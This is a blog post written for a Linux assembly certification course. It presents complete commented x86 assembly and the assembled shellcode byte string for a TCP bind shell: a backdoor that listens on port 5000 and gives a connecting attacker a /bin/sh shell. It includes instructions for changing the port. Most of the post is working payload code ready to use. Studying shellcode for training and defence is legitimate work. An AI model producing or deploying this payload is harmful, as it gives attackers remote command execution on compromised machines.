In this post, I will show i86 assembly language code and the resultant shellcode used to spawn a TCP bind shell on a 32-bit Linux system. I will also briefly explain the concepts found in the shellcode at a high level.

Bind Shell Shellcode Overview


A TCP bind shell is essentially a backdoor placed on a compromised system. The bind shell program, once executed, will listen on an attacker-specified port. When the attacker connects to that port, the program will initialize a command shell such as sh or bash that the attacker will then be able to send commands to remotely.

At a lower level, the shellcode accomplishes this through a series of Linux system calls. In particular, it will call the socket, bind, listen, accept, dup2, and execve system calls in that order to initialize a listening socket that blocks until it accepts a connection, at which point it creates a working shell in the process's memory space. My assembly code listing is below. There are detailed comments explaining the inner workings:

; Filename: shellcode.nasm
; Author: lastlistener
; Purpose: Shellcode that creates a TCP bind shell on a machine.

global _start

section .text
_start:
xor esi,esi ; ESI basically used as 0 constant throughout
; eax = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)
push esi ; IPPROTO_TCP
push byte 1 ; SOCK_STREAM
push byte 2 ; AF_INET
mov ecx,esp ; address of params
mov al,102 ; syscall number
mov bl,1 ; socketcall number
int 0x80 ; socket()
mov edx,eax ; save return value

; bind(socket, INADDR_ANY *sockaddr, sizeof(sockaddr))
; e.g.
https://www.gta.ufrj.br/ensino/eel878/sockets/sockaddr_inman.html
push esi ; sockaddr->family = INADDR_ANY
push word 0x8813 ; sockaddr->port = htons(5000)
push word 2 ; sockaddr->family = AF_INET
mov ecx,esp ; ecx = &sockaddr

push 16 ; sizeof(sockaddr)
push ecx ; &sockaddr
push edx ; socket
mov ecx,esp ; address of arguments
mov al,102 ; syscall number
mov bl,2 ; socketcall number
int 0x80 ; bind()

; listen(socket, backlog 0)
push esi ; backlog = 0
push edx ; socket
mov ecx,esp ; pointer to args
mov al,102 ; syscall number
mov bl,4 ; socketcall number
int 0x80

; eax = accept(socket, NULL *address, NULL address_length)
push esi ; address = null
push esi ; length = null
push edx ; socket
mov ecx,esp ; pointer to args
mov al,102 ; syscall number
mov bl,5 ; socketcall number
int 0x80
mov edx,eax

; dup2(socket, stdin)
mov al,63
mov ebx,edx
mov ecx,esi
int 0x80

; dup2(socket,stdout)
mov al,63
mov ebx,edx
mov cl,1
int 0x80

; dup2(socket,stderr)
mov al,63
mov ebx,edx
mov cl,2
int 0x80

; execve(filename, argv, env)
push esi
push dword 0x68732f2f ; hs//
push dword 0x6e69622f ; nib/
mov ebx,esp ; filename = /bin/sh
mov al,11 ; syscall number
mov ecx,esi ; no argv needed
mov edx,esi ; no env needed
int 0x80



The generated shellcode is as follows. The port can be changed by replacing the bolded bytes with the hexadecimal representation of a port number (default 5000):

"\x31\xf6\x56\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xb3\x01\xcd\x80\x89\xc2\x56\x66\x68\x13\x88\x66\x6a\x02\x89\xe1\x6a\x10\x51\x52\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x56\x52\x89\xe1\xb0\x66\xb3\x04\xcd\x80\x56\x56\x52\x89\xe1\xb0\x66\xb3\x05\xcd\x80\x89\xc2\xb0\x3f\x89\xd3\x89\xf1\xcd\x80\xb0\x3f\x89\xd3\xb1\x01\xcd\x80\xb0\x3f\x89\xd3\xb1\x02\xcd\x80\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\x89\xf1\x89\xf2\xcd\x80"

Note: My assembly, one of my better skills when I was younger, is quite rusty, and later while reading Metasploit's linux/x86/shell_bind_tcp shellcode I realized that my own shellcode is functionally equivalent but quite wasteful (size-wise) in comparison. Metasploit's shellcode contained numerous optimizations such as calling dup2 in a compact loop to lower the amount of necessary instructions. I did not implement these optimizations in my own code after the fact out of a desire to not copy the work of others for this assignment.

---

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE - 1353